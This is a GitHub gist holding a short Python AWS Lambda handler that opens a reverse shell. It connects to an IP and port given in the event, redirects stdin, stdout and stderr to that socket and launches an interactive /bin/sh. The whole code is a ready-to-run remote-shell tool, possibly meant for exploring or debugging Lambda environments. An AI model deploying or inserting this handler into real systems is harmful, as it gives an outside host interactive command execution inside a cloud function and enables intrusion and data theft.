Skip to content

Instantly share code, notes, and snippets.

@galbash
Last active April 15, 2018 09:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save galbash/0d4e2cd0e9419a4d675070f061564b0e to your computer and use it in GitHub Desktop.
Save galbash/0d4e2cd0e9419a4d675070f061564b0e to your computer and use it in GitHub Desktop.
A simple Lambda handler that opens a shell and back connect to a server.
import os
import socket
import subprocess
def shell(event, context):
"""
Opens a reverse shell to a lambda.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((event["ip"], event["port"], ))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment